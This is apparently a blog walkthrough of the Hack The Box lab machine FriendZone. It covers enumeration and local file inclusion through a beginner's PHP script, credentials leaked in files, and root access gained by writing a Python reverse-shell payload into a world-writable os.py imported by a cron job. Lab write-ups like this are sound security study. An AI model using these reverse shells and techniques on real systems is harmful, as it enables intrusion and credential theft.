Write-Up: HTB FriendZone

Mertle
10 min readNov 4, 2020

--

FriendZone is an easy box on Hack The Box. Made for another fun box to break as I work my way through retired machines.

First thing is running my mercon.py script (https://github.com/RECturtle/Mercon). This combines my standard nmap “-sC -SV -o” script and then runs smbmap and/or gobuster depending on the ports found. Ran the script, grabbed some tea, and now time to read through and see if there’s anything interesting.

kali@kali:~/development/Mercon$ ./mercon.py -t Friendzone -i 10.10.10.123 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt 
===== Running Nmap Scan =====
Starting Nmap 7.91 ( https://nmap.org ) at 2020-10-30 11:34 EDT
Nmap scan report for 10.10.10.123
Host is up (0.028s latency).
Not shown: 993 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA)
| 256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA)
|_ 256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519)
53/tcp open domain ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Friend Zone Escape software
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open ssl/http Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 404 Not Found
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
| Not valid before: 2018-10-05T21:02:30
|_Not valid after: 2018-11-04T21:02:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Hosts: FRIENDZONE, 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -38m58s, deviation: 1h09m16s, median: 1m00s
|_nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: friendzone
| NetBIOS computer name: FRIENDZONE\x00
| Domain name: \x00
| FQDN: friendzone
|_ System time: 2020-10-30T17:35:32+02:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-10-30T15:35:32
|_ start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.58 seconds

===== Gobuster and Smbmap Running =====
[+] Smbmap Running
[+] Guest session IP: 10.10.10.123:445 Name: 10.10.10.123 Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
Files NO ACCESS FriendZone Samba Server Files /etc/Files
general READ ONLY FriendZone Samba Server Files
Development READ, WRITE FriendZone Samba Server Files
IPC$ NO ACCESS IPC Service (FriendZone server (Samba, Ubuntu))

[+] Gobuster Running
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.123/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: txt
[+] Timeout: 10s
===============================================================
2020/10/30 11:34:45 Starting gobuster
===============================================================
/wordpress (Status: 301)
/robots.txt (Status: 200)
/server-status (Status: 403)
===============================================================
2020/10/30 11:40:10 Finished
===============================================================

The output shows that this is a webserver with SMB ports, FTP, and SSH open. Though Gobuster didn’t find anything interesting, we were allowed anonymous access to multiple shares and some interesting comments.

Easiest to start from the top I suppose. Attempting to anonymously login to the FTP server failed. Moving on.

kali@kali:~/htb/friendzone$ ftp 10.10.10.123
Connected to 10.10.10.123.
220 (vsFTPd 3.0.3)
Name (10.10.10.123:kali):
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.

Next up are the open shares on the machine. I started with “Development”, but found nothing. But lucky for me, “General” gave up some creds!

kali@kali:~/htb/friendzone$ smbmap -H 10.10.10.123 -R 'Development'
[+] Guest session IP: 10.10.10.123:445 Name: 10.10.10.123
Disk Permissions Comment
---- ----------- -------
Development READ, WRITE
.\Development\*
dr--r--r-- 0 Fri Oct 30 11:38:55 2020 .
dr--r--r-- 0 Wed Jan 23 16:51:02 2019 ..


kali@kali:~/htb/friendzone$ smbmap -H 10.10.10.123 -R 'GENERAL'
[+] Guest session IP: 10.10.10.123:445 Name: 10.10.10.123
Disk Permissions Comment
---- ----------- -------
GENERAL READ ONLY
.\GENERAL\*
dr--r--r-- 0 Wed Jan 16 15:10:51 2019 .
dr--r--r-- 0 Wed Jan 23 16:51:02 2019 ..
fr--r--r-- 57 Tue Oct 9 19:52:42 2018 creds.txt

Grab the creds and cat what’s inside… Who could have imagined, credentials!

kali@kali:~/htb/friendzone$ cat creds.txt 
creds for the admin THING:

admin:WORKWORKHhallelujah@#

With the new creds, it’s time to poke at FTP, SSH, and SMB some more. Unfortunately, none of these gave us any more clues…

Aright, it’s been long enough, time to check out the webpage.

This proved to be a bit of a dead end, but we do get a look at the email domain @friendzoneportal.red, note that one for later.

Looking back at the nmap, the next enumration step is DNS. Enumerating DNS was a bit of a new one for me so I turned to google and found some helpful hints on how to enumerate. One helpful command line tool that came up in my search was domain information groper or “dig”. This tool was built for what I needed to do — interrogate this DNS server. Using friendzoneportal.red (found on web page) and friendzone.red (found in nmap results) with dig, I was able find some interesting subdomains.

kali@kali:~/htb/friendzone$ dig axfr friendzone.red @10.10.10.123

; <<>> DiG 9.16.6-Debian <<>> axfr friendzone.red @10.10.10.123
;; global options: +cmd
friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
friendzone.red. 604800 IN AAAA ::1
friendzone.red. 604800 IN NS localhost.
friendzone.red. 604800 IN A 127.0.0.1
administrator1.friendzone.red. 604800 IN A 127.0.0.1
hr.friendzone.red. 604800 IN A 127.0.0.1
uploads.friendzone.red. 604800 IN A 127.0.0.1
friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
;; Query time: 296 msec
;; SERVER: 10.10.10.123#53(10.10.10.123)
;; WHEN: Fri Oct 30 12:30:37 EDT 2020
;; XFR size: 8 records (messages 1, bytes 289)

Trying administrator1.friendzone.red pulls up this page. Using the credentials we found earlier will get us access! Finally, those credentials get put to use.

After logging in we’re met with this beautiful page.

Heading over to /dashboard.php we land here. Not much to look at, but good to know the developer is a beginner :)

Let’s try showing the default image with:

https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=timestamp

This throws us a timestamp, but nothing too interesting.

Final Access timestamp is 1604447379

Running gobuster shows us a few pages. It is good to note that the timestamp.php page provides us a timestamp, much like the default behavior of the webpage.

kali@kali:~/htb/friendzone$ gobuster dir -k -u https://administrator1.friendzone.red/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: https://administrator1.friendzone.red/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2020/10/30 19:05:23 Starting gobuster
===============================================================
/images (Status: 301)
/login.php (Status: 200)
/dashboard.php (Status: 200)
/timestamp.php (Status: 200)
===============================================================
2020/11/03 17:58:52 Finished
===============================================================

After some more clicking around, I tried an LFI exploit. If we can access timestamp.php, we may be able to access other files. Remembering that we have write access to development and the “Files” share comment shows /etc/Files/, I wonder if we could hit a file we write at /etc/Development/${file}?

Upload a basic php reverse shell script, enter the url, and…

kali@kali:~/htb/friendzone$ smbmap -H 10.10.10.123 --upload ./shell.php 'Development\shell.php'
[+] Starting upload: ./shell.php (98 bytes)
[+] Upload complete.
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/shell.php

We get a hit!

kali@kali:~/htb/friendzone$ nc -lvnp 5555
Listening on 0.0.0.0 5555
Connection received on 10.10.10.123 36120
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Upgrade the shell with python and stty and start enumerating.

www-data@FriendZone:/var/www/admin$ ls -la
total 28
drwxr-xr-x 3 root root 4096 Jan 16 2019 .
drwxr-xr-x 8 root root 4096 Oct 6 2018 ..
-rw-r--r-- 1 root root 1169 Jan 16 2019 dashboard.php
drwxr-xr-x 2 root root 4096 Oct 6 2018 images
-rw-r--r-- 1 root root 2873 Oct 6 2018 index.html
-rw-r--r-- 1 root root 384 Oct 7 2018 login.php
-rw-r--r-- 1 root root 89 Oct 7 2018 timestamp.php

Let’s take a look at what dashboard.php was doing…

DASHBOARD PHP
<?php

//echo "<center><h2>Smart photo script for friendzone corp !</h2></center>";
//echo "<center><h3>* Note : we are dealing with a beginner php developer and the application is not tested yet !</h3></center>";
echo "<title>FriendZone Admin !</title>";
$auth = $_COOKIE["FriendZoneAuth"];

if ($auth === "e7749d0f4b4da5d03e6e9196fd1d18f1"){
echo "<br><br><br>";

echo "<center><h2>Smart photo script for friendzone corp !</h2></center>";
echo "<center><h3>* Note : we are dealing with a beginner php developer and the application is not tested yet !</h3></center>";

if(!isset($_GET["image_id"])){
echo "<br><br>";
echo "<center><p>image_name param is missed !</p></center>";
echo "<center><p>please enter it to show the image</p></center>";
echo "<center><p>default is image_id=a.jpg&pagename=timestamp</p></center>";
}else{
$image = $_GET["image_id"];
echo "<center><img src='images/$image'></center>";

echo "<center><h1>Something went worng ! , the script include wrong param !</h1></center>";
include($_GET["pagename"].".php");
//echo $_GET["pagename"];
}
}else{
echo "<center><p>You can't see the content ! , please login !</center></p>";
}
?>

Looks like they just added “.php” on which makes sense why pagement=timestamp and /timestamp.php provided similar output.

Kept looking around in the directory up and the mysql_data.conf file looks interesting.

www-data@FriendZone:/var/www$ ls -la
total 36
drwxr-xr-x 8 root root 4096 Oct 6 2018 .
drwxr-xr-x 12 root root 4096 Oct 6 2018 ..
drwxr-xr-x 3 root root 4096 Jan 16 2019 admin
drwxr-xr-x 4 root root 4096 Oct 6 2018 friendzone
drwxr-xr-x 2 root root 4096 Oct 6 2018 friendzoneportal
drwxr-xr-x 2 root root 4096 Jan 15 2019 friendzoneportaladmin
drwxr-xr-x 3 root root 4096 Oct 6 2018 html
-rw-r--r-- 1 root root 116 Oct 6 2018 mysql_data.conf
drwxr-xr-x 3 root root 4096 Oct 6 2018 uploads

Looking inside, we find more credentials!

www-data@FriendZone:/var/www$ cat mysql_data.conf 
for development process this is the mysql creds for user friend

db_user=friend

db_pass=Agpyu12!0.213$

db_name=FZ

Immediately try these ones out on the various services open. Starting with FTP, we are able to grab the user flag!

kali@kali:~/htb/friendzone$ ftp 10.10.10.123
Connected to 10.10.10.123.
220 (vsFTPd 3.0.3)
Name (10.10.10.123:kali): friend
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-r--r--r-- 1 0 0 33 Oct 06 2018 user.txt

Grabbed the flag and tried to see if we had access elsewhere, but no dice.

ftp> get passwd
local: passwd remote: passwd
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for passwd (1513 bytes).
226 Transfer complete.
1513 bytes received in 0.00 secs (970.1505 kB/s)
ftp> get shadow
local: shadow remote: shadow
200 PORT command successful. Consider using PASV.
550 Failed to open file.
ftp> exit

Moving to SSH and the creds work here as well.

kali@kali:~/htb/friendzone$ ssh friend@10.10.10.123
friend@10.10.10.123's password:
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-36-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage


* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
You have mail.
Last login: Thu Jan 24 01:20:15 2019 from 10.10.14.3
friend@FriendZone:~$

Immediately uploaded an enumeration script to help out while I manually looked around.

friend@FriendZone:~$ wget 10.10.14.5:8080/linprivchecker.py
--2020-10-30 20:02:42-- http://10.10.14.5:8080/linprivchecker.py
Connecting to 10.10.14.5:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 25308 (25K) [text/plain]
Saving to: ‘linprivchecker.py’

linprivchecker.py 100%[===============================================================>] 24.71K --.-KB/s in 0.05s

2020-10-30 20:02:42 (493 KB/s) - ‘linprivchecker.py’ saved [25308/25308]

friend@FriendZone:~$ chmod +x linprivchecker.py
friend@FriendZone:~$ ./linprivchecker.py

Honestly, wasn’t finding much working back from the /home/friend directory so I went from the ground up and started at “/” to see what I could find. In retrospect, I should’ve started here to save some time, because not long after I found an interesting folder and file.

friend@FriendZone:/opt/server_admin$ ls -la
total 12
drwxr-xr-x 2 root root 4096 Jan 24 2019 .
drwxr-xr-x 3 root root 4096 Oct 6 2018 ..
-rwxr--r-- 1 root root 424 Jan 16 2019 reporter.py

Lots of comments in the file, but not much in here. The script imports os and that’s about it. Can’t write to the file either... Now back to enumeration to see if there’s anything else. At this point, I was stuck here for a bit and went back to check the linprivchecker.py output.

Looking at the enumeration we find that there is world writable access to os.py — how convenient!

[+] World Writable Files
-rwxrw-rw- 1 nobody nogroup 98 Oct 30 18:54 /etc/Development/shell.php
-rw-rw-rw- 1 root root 0 Oct 30 06:22 /sys/kernel/security/apparmor/.remove
-rw-rw-rw- 1 root root 0 Oct 30 06:22 /sys/kernel/security/apparmor/.replace
-rw-rw-rw- 1 root root 0 Oct 30 06:22 /sys/kernel/security/apparmor/.load
-rw-rw-rw- 1 root root 0 Oct 30 06:22 /sys/kernel/security/apparmor/.access
--w--w--w- 1 root root 0 Oct 30 19:28 /sys/fs/cgroup/memory/cgroup.event_control
-rwxrwxrwx 1 root root 25910 Jan 15 2019 /usr/lib/python2.7/os.py

Since the reporter.py script utilizes os.py and is running every few minutes as cron job, this looks like the way to go for privilege escalation.

Add the following to os.py (stripping os. from dup2 as we are in the os file):

import socket,subprocess 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.5",1234))
dup2(s.fileno(),0)
dup2(s.fileno(),1)
dup2(s.fileno(),2)
import pty; pty.spawn("/bin/bash")

Setup a listener and we get a hit! Now we’re on the box as root and the box is owned.

kali@kali:~/htb/friendzone/www$ nc -lvnp 1234
Listening on 0.0.0.0 1234
Connection received on 10.10.10.123 47454
root@FriendZone:~# id
id
uid=0(root) gid=0(root) groups=0(root)

Thanks for reading and keep an eye out for another post next week!

--

--